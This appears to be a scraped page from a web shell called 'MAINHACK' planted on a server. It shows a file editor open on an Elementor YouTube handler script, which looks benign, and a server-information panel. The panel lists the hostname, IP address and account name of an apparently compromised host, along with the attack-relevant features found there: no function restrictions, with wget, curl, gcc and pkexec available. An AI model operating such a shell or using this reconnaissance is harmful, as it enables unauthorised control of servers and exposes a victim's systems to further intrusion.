[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: youtube-handler.min.js
"use strict";(self.webpackChunkelementorFrontend=self.webpackChunkelementorFrontend||[]).push([[383],{4087:e=>{e.exports=elementorV2.frontendHandlers},6310:(e,t,o)=>{var n=o(4087);const loadYouTubeAPI=()=>new Promise(e=>{if(window.YT&&window.YT.loaded)return void e(window.YT);const t="https://www.youtube.com/iframe_api";if(!document.querySelector(`script[src="${t}"]`)){const e=document.createElement("script");e.src=t;const o=document.getElementsByTagName("script")[0];o.parentNode.insertBefore(e,o)}const checkYT=()=>{window.YT&&window.YT.loaded?e(window.YT):setTimeout(checkYT,350)};checkYT()});(0,n.register)({elementType:"e-youtube",uniqueId:"e-youtube-handler",callback:({element:e})=>{const t=document.createElement("div");t.style.height="100%",e.appendChild(t);const o=e.getAttribute("data-settings"),n=o?JSON.parse(o):{},r=(e=>{const t=e.match(/^(?:https?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?vi?=|(?:embed|v|vi|user|shorts)\/))([^?&"'>]+)/);return t?t[1]:null})(n.source);if(!r)return;let s,c;const prepareYTVideo=e=>{const o={videoId:r,events:{onReady:()=>{n.mute&&s.mute(),n.autoplay&&s.playVideo()},onStateChange:t=>{t.data===e.PlayerState.ENDED&&n.loop&&s.seekTo(n.start||0)}},playerVars:{controls:n.controls?1:0,rel:n.rel?0:1,cc_load_policy:n.cc_load_policy?1:0,autoplay:n.autoplay?1:0,start:n.start,end:n.end}};return n.privacy&&(o.host="https://www.youtube-nocookie.com",o.origin=window.location.hostname),s=new e.Player(t,o),s};return n.lazyload?(c=new IntersectionObserver(t=>{t[0].isIntersecting&&(loadYouTubeAPI().then(e=>prepareYTVideo(e)),c.unobserve(e))}),c.observe(e)):loadYouTubeAPI().then(e=>prepareYTVideo(e)),()=>{s&&"function"==typeof s.destroy&&(s.destroy(),s=null),e.contains(t)&&e.removeChild(t),c&&"function"==typeof c.disconnect&&(c.disconnect(),c=null)}}})}},e=>{var t;t=6310,e(e.s=t)}]);
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002